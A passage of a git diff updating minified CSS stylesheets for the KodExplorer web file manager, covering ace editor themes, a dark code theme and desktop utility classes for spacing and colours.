.markdown-preview .hljs-built_in,.code-theme-black .markdown-preview .hljs-builtin-name,.code-theme-black .markdown-preview .hljs-selector-attr,.code-theme-black .markdown-preview .hljs-selector-id,.code-theme-black .markdown-preview .hljs-selector-pseudo,.code-theme-black .markdown-preview .hljs-string,.code-theme-black .markdown-preview .hljs-template-variable,.code-theme-black .markdown-preview .hljs-type,.code-theme-black .markdown-preview .hljs-variable{color:#e6db74;}.code-theme-black .markdown-preview .hljs-comment,.code-theme-black .markdown-preview .hljs-deletion,.code-theme-black .markdown-preview .hljs-meta{color:#75715e;}.ace_optionsMenuEntry{height:22px;}.ace_optionsMenuCommand{float:left;width:210px;}.context-menu-list .context-menu-item.line-top{border-top:1px solid #eee !important;}body .ace_editor{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', monospace, 'Microsoft Yahei', '微软雅黑', Courier, 'Helvetica Neue', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;font-variant-ligatures:no-common-ligatures;margin:0;padding:0;position:absolute;height:100%;left:0px;right:0%;background:#fff;}body .ace_editor .ace_scrollbar{right:3px;}body .ace_editor .ace_hidden-cursors .ace_cursor{opacity:0.7;}body .ace_editor.ace-tomorrow .ace_cursor{color:#3c3434;}body .ace_editor.ace_multiselect .ace_cursor{border-left-width:2px;}body .ace_editor .ace_indent-guide{height:103%;display:inline-block;}body .ace_editor .ace_line{line-height:1.3em;line-height:inherit \9;}body .ace_editor span.ace_heading{font-weight:800;}body .ace_editor.ace_autocomplete{padding:0px;box-shadow:0px 2px 10px rgba(0,0,0,0.3);margin-left:5px;box-shadow:0 0 7px rgba(119,119,119,0.2), inset 1px 1px 0 rgba(0,0,0,0), inset -1px -1px 0 rgba(0,0,0,0);font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', monospace, 'Microsoft Yahei', '微软雅黑', Courier, 'Helvetica Neue', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;background:#fff !important;}body .ace_editor.ace_autocomplete .ace_scrollbar-v{padding:0px;right:0px;}body .ace_editor.ace_autocomplete .ace_line{padding-left:6px;line-height:1.5em;}body .ace_editor.ace_autocomplete .ace_marker-layer .ace_active-line{background:#63acff !important;border-radius:0px;z-index:10;}body .ace_editor.ace_autocomplete .ace_line-hover{border:none;margin-top:0;background:#e6e6e6;border-radius:0px;}body .ace_editor.ace_autocomplete .ace_selected{color:#fff;}body .ace_editor.ace_autocomplete .ace_completion-highlight{color:#2882be;}body .ace_editor.ace_autocomplete .ace_rightAlignedText{color:#aaa;}body .ace_editor.ace_autocomplete .ace_selected .ace_completion-highlight{color:#cfe8ff !important;}body .ace_editor.ace_autocomplete .ace_selected .ace_rightAlignedText{color:#fff;z-index:10;opacity:0.5;filter:alpha(opacity=50);font-size:0.9em;}body .ace_editor .ace_content .ace_marker-layer .ace_selected-word{background:rgba(210,235,255,0.11);border:1px solid #65b5f5;z-index:10;}body .ace_editor .ace_content .ace_marker-layer .ace_bracket{border:1px solid #FF9800;background:#FFC107;}body .ace_editor .ace_content .ace_text-layer .ace_keyword{text-shadow:0 0 0.3px;}body .ace_editor .ace_invalid{background:none;color:#f60;}body .ace_editor.ace-github{color:#444;}body .ace_editor.ace-kuroir{background:#f9f9f9;}body .ace_editor.ace-kuroir .ace_invalid{background:none;color:#f60;}body .ace_editor.ace-solarized-light{background:#FDF6E3;}body .ace_editor.ace-solarized-light .ace_invalid{background:none;color:#f60;}body .ace_editor.ace-ambiance{background:#202020;}body .ace_editor.ace-ambiance .ace_invalid{background:none;color:#f60;}body .ace_editor.ace-monokai{background:#272822;}body .ace_editor.ace-monokai .ace_invalid{background:none;color:#f60;}body .ace_editor.ace-idle-fing{background:#333;}body .ace_editor.ace-idle-fing .ace_invalid{background:none;color:#f60;}body .ace_editor.ace-pastel-on-dark{background:#2C2828;}body .ace_editor.ace-pastel-on-dark .ace_invalid{background:none;color:#f60;}body .ace_editor.ace-solarized-dark{background:#002B36;}body .ace_editor.ace-solarized-dark .ace_invalid{background:none;color:#f60;}body .ace_editor.ace-twilight{background:#141414;}body .ace_editor.ace-twilight .ace_invalid{background:none;color:#f60;}body .ace_editor.ace-idle-fingers{background:#333;}body .ace_editor.ace-idle-fingers .ace_invalid{background:none;color:#f60;}body .ace_editor.ace-tomorrow-night-blue{background:#002451;}body .ace_editor.ace-tomorrow-night-blue .ace_invalid{background:none;color:#f60;}body .ace_editor.ace-tomorrow-night-eighties{background:#2d2d2d;}body .ace_editor.ace-tomorrow-night-eighties .ace_invalid{background:none;color:#f60;}body .ace_editor.ace-eclipse .ace_gutter{border-right:3px solid #6ce26c !important;}body .ace_editor.ace_dark .ace_content .ace_marker-layer .ace_selected-word{background:rgba(255,255,255,0.1);border:1px solid #4179A7;z-index:10;}body .ace_editor.ace_dark .ace_content .ace_marker-layer .ace_bracket{border:1px solid #FFEB3B;background:#6b6154;}div.ace_tooltip{font-size:1em;font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', monospace, 'Microsoft Yahei', '微软雅黑', Courier, 'Helvetica Neue', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;border:1px solid #e7de81;background-color:#f9f2ad;padding-bottom:6px;color:#333;background-image:none;filter:none;box-shadow:0 0 7px rgba(119,119,119,0.2), inset 1px 1px transparent, inset -1px -1px transparent;}div.ace_tooltip hr{border:none;border-bottom:1px solid #e7de81;margin:6px 0;}.search-content .ace_search{font-size:13px;border-radius:0px 0px 0px 5px;border-right:0 none;overflow:visible;position:fixed;right:0;background-color:#eee;color:#444;width:100%;max-width:inherit;padding-top:5px;border-top:1px solid #ccc;bottom:0px;}.search-content .ace_search .ace_search_options{text-align:right;position:absolute;top:4px;margin:3px 0 0 20px;}.search-content .ace_search .ace_searchbtn_close{background-position:50% -10%;position:absolute;right:10px;width:18px;height:18px;}.search-content .ace_search .ace_searchbtn_close:hover{background-position:50% 120%;}.search-content .ace_search .ace_search_form,.search-content .ace_search .ace_replace_form{float:inherit;border:none;height:25px;}.search-content .ace_search .ace_search_form .search-info{position:absolute;right:25px;height:25px;line-height:25px;opacity:0.6;filter:alpha(opacity=60);}.search-content .ace_search .ace_search_form .search_at_index,.search-content .ace_search .ace_search_form .search_total_num{padding-left:0.3em;padding-right:0.3em;}.search-content .ace_search .ace_button{margin-left:3px;width:30px;text-align:center;display:inline-block;border-radius:3px;}.search-content .ace_search .ace_button.checked{border-color:#39F;background:#39f;color:#fff;}.search-content .ace_search .ace_search_field{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none;background-color:#FFF;border-radius:3px;border:1px solid #ccc;margin:0px;width:100%;height:24px;line-height:23px;}.search-content .ace_search .ace_search_field:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 0 3px rgba(117,161,240,0.3);}.search-content .ace_search .ace_search_field:focus{box-shadow:0 0 1px #75a1f0;}.search-content .ace_search .ace_search_action{position:absolute;right:50px;}.search-content .ace_search .ace_search_input{position:absolute;left:130px;right:160px;}.search-content .ace_search .ace_replace_form .ace_search_action{right:70px;}.search-content .ace_search .ace_search_form.ace_nomatch{outline:none;}.search-content .ace_search .ace_search_form.ace_nomatch .search-info{color:#f00;font-weight:800;}.search-content .ace_search .search-info.search-first{color:#03a9f4;font-weight:800;}.search-content .ace_search .history-list{position:absolute;right:8px;}.search-content .ace_search .history-list .dropdown-menu:before{right:4px;}.search-content .ace_search .history-list .dropdown-menu:after{right:5px;}.search-content .ace_search .history-list .dropdown-menu li > a{padding:3px 20px;font-size:13px;}.search-content .ace_search .history-list .dropmenu{width:20px;height:20px;background:rgba(50,50,50,0.05);cursor:pointer;font-size:15px;margin-top:2px;color:#ccc;display:inline-block;line-height:20px;text-align:center;border-radius:2px;}.search-content .ace_search .history-list .dropmenu:hover{background:rgba(50,50,50,0.2);color:#aaa;}.search-content .ace_search .history-list.open .dropmenu{background:rgba(50,50,50,0.2);color:#aaa;}.search-content .ace_search .btn-background{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;}.search-content .ace_search .btn-background-hover{background:url("../../../images/common/buttons_40.png") 0 -12px repeat-x;}.search-content .ace_search .ace_searchbtn,.search-content .ace_search .ace_replacebtn{float:left;padding:0 8px;border:1px solid #dcdcdc;margin-left:-1px;background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;}.search-content .ace_search .ace_searchbtn:hover,.search-content .ace_search .ace_replacebtn:hover{background:url("../../../images/common/buttons_40.png") 0 -12px repeat-x;}.search-content .ace_search .ace_searchbtn:active,.search-content .ace_search .ace_replacebtn:active{outline:none;background:#ddd;}.search-content .ace_search .ace_searchbtn.next,.search-content .ace_search .ace_replacebtn.next{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;padding:0 4px;}.search-content .ace_search .ace_searchbtn.next:hover,.search-content .ace_search .ace_replacebtn.next:hover{background:url("../../../images/common/buttons_40.png") 0 -12px repeat-x;}.search-content .ace_search .ace_searchbtn.prev,.search-content .ace_search .ace_replacebtn.prev{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;padding:0 4px;}.search-content .ace_search .ace_searchbtn.prev:hover,.search-content .ace_search .ace_replacebtn.prev:hover{background:url("../../../images/common/buttons_40.png") 0 -12px repeat-x;}.code-theme-black{background:#333;}.code-theme-black pre{background:#333;}.code-theme-black div.tools{box-shadow:1px 2px 15px #3d3d3d;border-bottom:1px solid #474747;background:#3d3d3d;}.code-theme-black div.tools .right .btn{border:solid 1px #474747;background:#3d3d3d;color:#eef;}.code-theme-black div.tools .right .btn:hover{background:#474747;}.code-theme-black div.tools .line{border-color:#595959;}.code-theme-black div.tools a.select,.code-theme-black div.tools a.select:hover,.code-theme-black div.tools a:active,.code-theme-black div.tools a:hover{background:#595959;}.code-theme-black div.tools a .font-icon{color:#eef;text-shadow:none;}.code-theme-black div.tools .disable-mask{background:#3d3d3d;}.code-theme-black .context-menu-list{border:none;background:#595959;border-bottom:none;box-shadow:0 10px 10px rgba(0,0,0,0.15);}.code-theme-black .context-menu-list .context-menu-item{color:#eef;border-color:rgba(255,255,255,0) !important;}.code-theme-black .context-menu-list .context-menu-item .font-icon{color:#eef;}.code-theme-black .context-menu-list .context-menu-item.context-menu-separator{border-bottom:1px solid #666666 !important;background:none;}.code-theme-black .context-menu-list .context-menu-item.hover,.code-theme-black .context-menu-list .context-menu-item.selected.hover{background:#666666;color:#eef;border-color:transparent !important;}.code-theme-black .context-menu-list .context-menu-item.hover .font-icon,.code-theme-black .context-menu-list .context-menu-item.selected.hover .font-icon{color:#eef;}.code-theme-black .context-menu-list .context-menu-item.line-top{border-top:1px solid #666666 !important;}.code-theme-black .dropdown-menu{background:#595959;}.code-theme-black .dropdown-menu:before{right:4px;}.code-theme-black .dropdown-menu:after{border-top-color:#595959;}.code-theme-black .dropdown-menu li > a{color:#eef;}.code-theme-black .edit-tab .tabs{background:#333;border-bottom:1px solid #474747;}.code-theme-black .edit-tab .tabs .tab{background:#474747;border-right:1px solid #595959;color:#eef;}.code-theme-black .edit-tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#666666;}.code-theme-black .edit-tab .tabs .tab.hover{background:#474747;}.code-theme-black .edit-tab .tabs .add{background:#595959;border:1px solid #3d3d3d;color:#eef;}.code-theme-black .edit-tab .tabs .add:hover{background:#666666;}.code-theme-black .edit-tab .tabs .tab.this{background:#666666;border-right:1px solid #666666;border-left:3px solid #63acff;margin-left:-3px;}.code-theme-black .edit-body{background:#333;}.code-theme-black .draggable-dragging{background:#595959;border-left:3px solid #63acff;}.code-theme-black .edit-content .resize{background-color:#ddd;background-color:rgba(255,255,255,0.01);}.code-theme-black .edit-content .resize:hover{background-color:#ddd;background-color:rgba(255,255,255,0.1);}.code-theme-black .edit-content .resize.resize-active{background-color:#ddd;background-color:rgba(255,255,255,0.3);}.code-theme-black .edit-right-frame{background:#333;border-left:1px solid #3d3d3d;}.code-theme-black .edit-right-frame .function-list-parent{background:#333;}.code-theme-black .edit-right-frame .function-list-box .list-row{color:#eef;}.code-theme-black .edit-right-frame .function-list-box .list-row.row-hover{background:#3d3d3d;}.code-theme-black .edit-right-frame .function-list-box .list-row.row-select{background:#63acff;}.code-theme-black .edit-right-frame .function-list-box .list-row.mark,.code-theme-black .edit-right-frame .function-list-box .list-row.class{background:#595959;}.code-theme-black .edit-right-frame .preview-url-tool,.code-theme-black .edit-right-frame .function-list-tool{border-bottom:1px solid #3d3d3d;}.code-theme-black .edit-right-frame .preview-url-tool .box,.code-theme-black .edit-right-frame .function-list-tool .box{background:#333;color:#eef;border:none;}.code-theme-black .edit-right-frame .preview-url-tool .box a,.code-theme-black .edit-right-frame .function-list-tool .box a{padding:0px 6px;}.code-theme-black .edit-right-frame .preview-url-tool .box a:hover,.code-theme-black .edit-right-frame .function-list-tool .box a:hover{border:1px solid #666666;}.code-theme-black .edit-right-frame .preview-url-tool .input-content input,.code-theme-black .edit-right-frame .function-list-tool .input-content input{color:#eee;font-size:1.15em;text-shadow:none;background:#444;box-shadow:none;border:none;}.code-theme-black .edit-right-frame .preview-url-tool .input-content input:focus,.code-theme-black .edit-right-frame .function-list-tool .input-content input:focus{box-shadow:none;}.code-theme-black .edit-right-frame .function-search input{color:#eef;border:1px solid #595959;background:#474747;}.code-theme-black .edit-right-frame .preview-markdown-tool .box a .font-icon{color:#eef;}.code-theme-black .edit-right-frame .preview-markdown-tool .box a:hover{background:#666666;color:#eef;}.code-theme-black .edit-right-frame .preview-markdown-tool .box a:hover .font-icon{color:#eef;}.code-theme-black .edit-right-frame .preview-markdown-tool .toolbar{border-left:1px solid #595959;background:#3d3d3d;}.code-theme-black .edit-right-frame .preview-markdown-tool .toolbar .md-tools{color:#eef;}.code-theme-black .edit-right-frame .preview-markdown-tool .toolbar .md-tools:hover{background:#666666;}.code-theme-black .edit-right-frame .preview-markdown-tool .toolbar .md-tools.md-tools-split{color:#666666;}.code-theme-black .edit-right-frame .markdown-help{background:#474747;color:#eef;border-color:#595959;}.code-theme-black .edit-right-frame .markdown-help h3{border-color:#666666;}.code-theme-black .edit-right-frame .markdown-help h5{border-color:#666666;}.code-theme-black .edit-right-frame .markdown-help pre{background:#666666;color:#eef;}.code-theme-black .edit-right-frame .markdown-menu-box{background:#474747;color:#eef;border-color:#595959;}.code-theme-black .edit-right-frame .markdown-menu-box h3{border-color:#666666;}.code-theme-black .edit-right-frame .markdown-menu-box .markdown-menu li a{color:#ffa500;}.code-theme-black .edit-right-frame .markdown-menu-box .markdown-menu li a:hover{background:#666666;}.code-theme-black .edit-right-frame .markdown-setting{background:#474747;color:#eef;border-color:#595959;}.code-theme-black .edit-right-frame .markdown-setting ul li.line{height:1px;background:#595959;}.code-theme-black .edit-right-frame .markdown-setting ul a,.code-theme-black .edit-right-frame .markdown-setting ul a:visited{color:#eef;}.code-theme-black .edit-right-frame .markdown-setting ul a i{color:#eef;}.code-theme-black .edit-right-frame .markdown-setting ul a:hover{background:#666666;color:#eef;}.code-theme-black .edit-right-frame .markdown-setting ul a:hover i{color:#eef;}.code-theme-black .search-content{background:#333;}.code-theme-black .search-content .bottom-toolbar{border-radius:4px;background:#474747;border:1px solid #595959;}.code-theme-black .search-content .bottom-toolbar a{color:#fff;}.code-theme-black .search-content .bottom-toolbar a .font-icon{color:#eef;}.code-theme-black .search-content .bottom-toolbar a:hover{color:#63acff;}.code-theme-black .search-content .bottom-toolbar a.select{background:#666666;color:#fff;}.code-theme-black .search-content .aui-icon,.code-theme-black .search-content .aui-main{background:#333;}.code-theme-black .search-content .aui-state-no-title .aui-inner{border:1px solid #666666;}.code-theme-black .ace-text-input{background:#333;}.code-theme-black .ace_search{background-color:#474747;border-color:#595959;color:#eef;}.code-theme-black .ace_search .ace_button{border:1px solid #595959;color:#fff;}.code-theme-black .ace_search .ace_button:hover{background-color:#595959;}.code-theme-black .ace_search .ace_button.checked{border-color:#39F;background:#39f;color:#fff;}.code-theme-black .ace_search .ace_search_field{background-color:#595959;border:1px solid #595959;color:#eef;}.code-theme-black .ace_search .ace_search_form.ace_nomatch .search-info{color:#f66;}.code-theme-black .ace_search .btn-background{background:#474747;border-color:#595959;color:#eef;}.code-theme-black .ace_search .btn-background-hover{background:#595959;border-color:#666666;}.code-theme-black .ace_search .ace_searchbtn,.code-theme-black .ace_search .ace_replacebtn{background:#474747;border-color:#595959;color:#eef;}.code-theme-black .ace_search .ace_searchbtn:hover,.code-theme-black .ace_search .ace_replacebtn:hover{background:#595959;border-color:#666666;}.code-theme-black .ace_search .ace_searchbtn.next,.code-theme-black .ace_search .ace_replacebtn.next{background:#474747;border-color:#595959;color:#eef;}.code-theme-black .ace_search .ace_searchbtn.next:hover,.code-theme-black .ace_search .ace_replacebtn.next:hover{background:#595959;border-color:#666666;}.code-theme-black .ace_search .ace_searchbtn.prev,.code-theme-black .ace_search .ace_replacebtn.prev{background:#474747;border-color:#595959;color:#eef;}.code-theme-black .ace_search .ace_searchbtn.prev:hover,.code-theme-black .ace_search .ace_replacebtn.prev:hover{background:#595959;border-color:#666666;}.code-theme-black .introduction{background:#3d3d3d;top:59px;}.code-theme-black .introduction pre{background:#3d3d3d;border-bottom:1px solid #474747;}.code-theme-black .introduction .tips h1{border-bottom:1px dashed #3d3d3d;}.code-theme-black .introduction .green{border-left:1px solid #3d3d3d;}.code-theme-black .context-menu-list .gotoline-input input{color:#eef;background:#666666;broder-color:#474747;}.code-theme-black .code-mode-list{background:#474747;color:#eef;}.code-theme-black .code-mode-list li.list-input{background:#474747;}.code-theme-black .code-mode-list li.list-input input{color:#eef;background:#666666;broder-color:#474747;}.code-theme-black .code-mode-list li.selected,.code-theme-black .code-mode-list li.selected.hover,.code-theme-black .code-mode-list li.hover{background:#666666;color:#fff;}.code-theme-black .edit-body .bottom-toolbar{background:#333;border-color:#3f3f3f;}.code-theme-black .edit-body .bottom-toolbar a{color:#fff;}.code-theme-black .edit-body .bottom-toolbar a .font-icon{color:#fff;}.forceWap .edit-right-frame{width:0 !important;display:none;}.forceWap .resize{display:none;}.forceWap .ace_editor{width:100% !important;}.forceWap .edit-tab{display:none;}.forceWap .edit-body{top:30px;}.forceWap .ace_search{bottom:0;}.forceWap .search-content .ace_search .ace_search_action{right:30px;}.forceWap .search-content .ace_search .ace_searchbtn.prev,.forceWap .search-content .ace_search .ace_replacebtn.prev,.forceWap .search-content .ace_search .ace_searchbtn,.forceWap .search-content .ace_search .ace_replacebtn{padding:0;}.forceWap .search-content .ace_search .ace_search_options{margin:3px 0 0 10px;}.forceWap .search-content .ace_search .ace_search_input{left:115px;right:105px;}.forceWap .ace_gutter,.forceWap .ace_gutter-layer{width:30px !important;}.forceWap .ace_folding-enabled > .ace_gutter-cell{padding:0px 3px !important;}.forceWap .ace_editor.ace_autocomplete{width:250px !important;}.forceWap .top-toolbar a[action="saveall"],.forceWap .top-toolbar a[action="refresh"],.forceWap .top-toolbar .menu-view-goto-line{display:none;}.ace_text-input.ace_composition{background:white !important;color:black !important;} +/* ver 4.30(2018-07-05) [build 1530795187.9072] */ \ No newline at end of file diff --git a/static/style/skin/base/app_desktop.css b/static/style/skin/base/app_desktop.css index a2f22c4..55b7303 100755 --- a/static/style/skin/base/app_desktop.css +++ b/static/style/skin/base/app_desktop.css @@ -1,4 +1,6 @@ -/* power by kodexplorer ver 4.25(2017-12-04) [build 1512368387.2173] */ -body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can-select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}a{text-decoration:none;}a:focus{outline:none !important;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}*,*:before,*:after{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;}label{font-weight:normal;}pre{border:none;border-radius:0;}::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.can-select,.can-select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can-not-select,.can-not-select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}.clear{clear:both;}.hidden{display:none;}.border-radius-none{border-radius:0 !important;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.font-nomal{font-weight:800;}.font-bold,.bold{font-weight:800;}.font-400{font-weight:400;}.font-800{font-weight:800;}.size12{font-size:12px;}.size14{font-size:14px;}.size16{font-size:16px;}.size18{font-size:18px;}.size20{font-size:20px;}.size22{font-size:22px;}.align-left{text-align:left;}.align-center{text-align:center;}.align-right{text-align:right;}.p-5{padding:5px;}.p-10{padding:10px;}.p-15{padding:15px;}.p-20{padding:20px;}.p-25{padding:25px;}.p-30{padding:30px;}.p-35{padding:35px;}.p-40{padding:40px;}.p-45{padding:45px;}.p-50{padding:50px;}.pt-5{padding-top:5px;}.pr-5{padding-right:5px;}.pb-5{padding-bottom:5px;}.pl-5{padding-left:5px;}.pt-10{padding-top:10px;}.pr-10{padding-right:10px;}.pb-10{padding-bottom:10px;}.pl-10{padding-left:10px;}.pt-15{padding-top:15px;}.pr-15{padding-right:15px;}.pb-15{padding-bottom:15px;}.pl-15{padding-left:15px;}.pt-20{padding-top:20px;}.pr-20{padding-right:20px;}.pb-20{padding-bottom:20px;}.pl-20{padding-left:20px;}.pt-25{padding-top:25px;}.pr-25{padding-right:25px;}.pb-25{padding-bottom:25px;}.pl-25{padding-left:25px;}.pt-30{padding-top:30px;}.pr-30{padding-right:30px;}.pb-30{padding-bottom:30px;}.pl-30{padding-left:30px;}.pt-35{padding-top:35px;}.pr-35{padding-right:35px;}.pb-35{padding-bottom:35px;}.pl-35{padding-left:35px;}.pt-40{padding-top:40px;}.pr-40{padding-right:40px;}.pb-40{padding-bottom:40px;}.pl-40{padding-left:40px;}.pt-45{padding-top:45px;}.pr-45{padding-right:45px;}.pb-45{padding-bottom:45px;}.pl-45{padding-left:45px;}.pt-50{padding-top:50px;}.pr-50{padding-right:50px;}.pb-50{padding-bottom:50px;}.pl-50{padding-left:50px;}.m-5{margin:5px;}.m-10{margin:10px;}.m-15{margin:15px;}.m-20{margin:20px;}.m-25{margin:25px;}.m-30{margin:30px;}.m-35{margin:35px;}.m-40{margin:40px;}.m-45{margin:45px;}.m-50{margin:50px;}.mt-5{margin-top:5px;}.mr-5{margin-right:5px;}.mb-5{margin-bottom:5px;}.ml-5{margin-left:5px;}.mt-10{margin-top:10px;}.mr-10{margin-right:10px;}.mb-10{margin-bottom:10px;}.ml-10{margin-left:10px;}.mt-15{margin-top:15px;}.mr-15{margin-right:15px;}.mb-15{margin-bottom:15px;}.ml-15{margin-left:15px;}.mt-20{margin-top:20px;}.mr-20{margin-right:20px;}.mb-20{margin-bottom:20px;}.ml-20{margin-left:20px;}.mt-25{margin-top:25px;}.mr-25{margin-right:25px;}.mb-25{margin-bottom:25px;}.ml-25{margin-left:25px;}.mt-30{margin-top:30px;}.mr-30{margin-right:30px;}.mb-30{margin-bottom:30px;}.ml-30{margin-left:30px;}.mt-35{margin-top:35px;}.mr-35{margin-right:35px;}.mb-35{margin-bottom:35px;}.ml-35{margin-left:35px;}.mt-40{margin-top:40px;}.mr-40{margin-right:40px;}.mb-40{margin-bottom:40px;}.ml-40{margin-left:40px;}.mt-45{margin-top:45px;}.mr-45{margin-right:45px;}.mb-45{margin-bottom:45px;}.ml-45{margin-left:45px;}.mt-50{margin-top:50px;}.mr-50{margin-right:50px;}.mb-50{margin-bottom:50px;}.ml-50{margin-left:50px;}.blue-1{color:#ecf6fd;}.bg-blue-1{background:#ecf6fd;}.bdcolor-blue-1{border-color:#ecf6fd;}.blue-2{color:#d2eafb;}.bg-blue-2{background:#d2eafb;}.bdcolor-blue-2{border-color:#d2eafb;}.blue-3{color:#add8f7;}.bg-blue-3{background:#add8f7;}.bdcolor-blue-3{border-color:#add8f7;}.blue-4{color:#7ec2f3;}.bg-blue-4{background:#7ec2f3;}.bdcolor-blue-4{border-color:#7ec2f3;}.blue-5{color:#49a9ee;}.bg-blue-5{background:#49a9ee;}.bdcolor-blue-5{border-color:#49a9ee;}.blue-6{color:#108ee9;}.bg-blue-6{background:#108ee9;}.bdcolor-blue-6{border-color:#108ee9;}.blue-7{color:#0e77ca;}.bg-blue-7{background:#0e77ca;}.bdcolor-blue-7{border-color:#0e77ca;}.blue-8{color:#0c60aa;}.bg-blue-8{background:#0c60aa;}.bdcolor-blue-8{border-color:#0c60aa;}.blue-9{color:#09488a;}.bg-blue-9{background:#09488a;}.bdcolor-blue-9{border-color:#09488a;}.blue-10{color:#073069;}.bg-blue-10{background:#073069;}.bdcolor-blue-10{border-color:#073069;}.purple-1{color:#f4f3fd;}.bg-purple-1{background:#f4f3fd;}.bdcolor-purple-1{border-color:#f4f3fd;}.purple-2{color:#e4e2fa;}.bg-purple-2{background:#e4e2fa;}.bdcolor-purple-2{border-color:#e4e2fa;}.purple-3{color:#cfcaf6;}.bg-purple-3{background:#cfcaf6;}.bdcolor-purple-3{border-color:#cfcaf6;}.purple-4{color:#b3acf2;}.bg-purple-4{background:#b3acf2;}.bdcolor-purple-4{border-color:#b3acf2;}.purple-5{color:#948aec;}.bg-purple-5{background:#948aec;}.bdcolor-purple-5{border-color:#948aec;}.purple-6{color:#7265e6;}.bg-purple-6{background:#7265e6;}.bdcolor-purple-6{border-color:#7265e6;}.purple-7{color:#6252cd;}.bg-purple-7{background:#6252cd;}.bdcolor-purple-7{border-color:#6252cd;}.purple-8{color:#533eb4;}.bg-purple-8{background:#533eb4;}.bdcolor-purple-8{border-color:#533eb4;}.purple-9{color:#42299a;}.bg-purple-9{background:#42299a;}.bdcolor-purple-9{border-color:#42299a;}.purple-10{color:#321580;}.bg-purple-10{background:#321580;}.bdcolor-purple-10{border-color:#321580;}.cyan-1{color:#ebf8f9;}.bg-cyan-1{background:#ebf8f9;}.bdcolor-cyan-1{border-color:#ebf8f9;}.cyan-2{color:#cfedf0;}.bg-cyan-2{background:#cfedf0;}.bdcolor-cyan-2{border-color:#cfedf0;}.cyan-3{color:#a7dfe3;}.bg-cyan-3{background:#a7dfe3;}.bdcolor-cyan-3{border-color:#a7dfe3;}.cyan-4{color:#76cdd3;}.bg-cyan-4{background:#76cdd3;}.bdcolor-cyan-4{border-color:#76cdd3;}.cyan-5{color:#3db8c1;}.bg-cyan-5{background:#3db8c1;}.bdcolor-cyan-5{border-color:#3db8c1;}.cyan-6{color:#00a2ae;}.bg-cyan-6{background:#00a2ae;}.bdcolor-cyan-6{border-color:#00a2ae;}.cyan-7{color:#008997;}.bg-cyan-7{background:#008997;}.bdcolor-cyan-7{border-color:#008997;}.cyan-8{color:#00707f;}.bg-cyan-8{background:#00707f;}.bdcolor-cyan-8{border-color:#00707f;}.cyan-9{color:#005667;}.bg-cyan-9{background:#005667;}.bdcolor-cyan-9{border-color:#005667;}.cyan-10{color:#003c4e;}.bg-cyan-10{background:#003c4e;}.bdcolor-cyan-10{border-color:#003c4e;}.green-1{color:#ebf8f2;}.bg-green-1{background:#ebf8f2;}.bdcolor-green-1{border-color:#ebf8f2;}.green-2{color:#cfefdf;}.bg-green-2{background:#cfefdf;}.bdcolor-green-2{border-color:#cfefdf;}.green-3{color:#a7e1c4;}.bg-green-3{background:#a7e1c4;}.bdcolor-green-3{border-color:#a7e1c4;}.green-4{color:#76d0a3;}.bg-green-4{background:#76d0a3;}.bdcolor-green-4{border-color:#76d0a3;}.green-5{color:#3dbd7d;}.bg-green-5{background:#3dbd7d;}.bdcolor-green-5{border-color:#3dbd7d;}.green-6{color:#00a854;}.bg-green-6{background:#00a854;}.bdcolor-green-6{border-color:#00a854;}.green-7{color:#00924c;}.bg-green-7{background:#00924c;}.bdcolor-green-7{border-color:#00924c;}.green-8{color:#007b43;}.bg-green-8{background:#007b43;}.bdcolor-green-8{border-color:#007b43;}.green-9{color:#00643b;}.bg-green-9{background:#00643b;}.bdcolor-green-9{border-color:#00643b;}.green-10{color:#004c32;}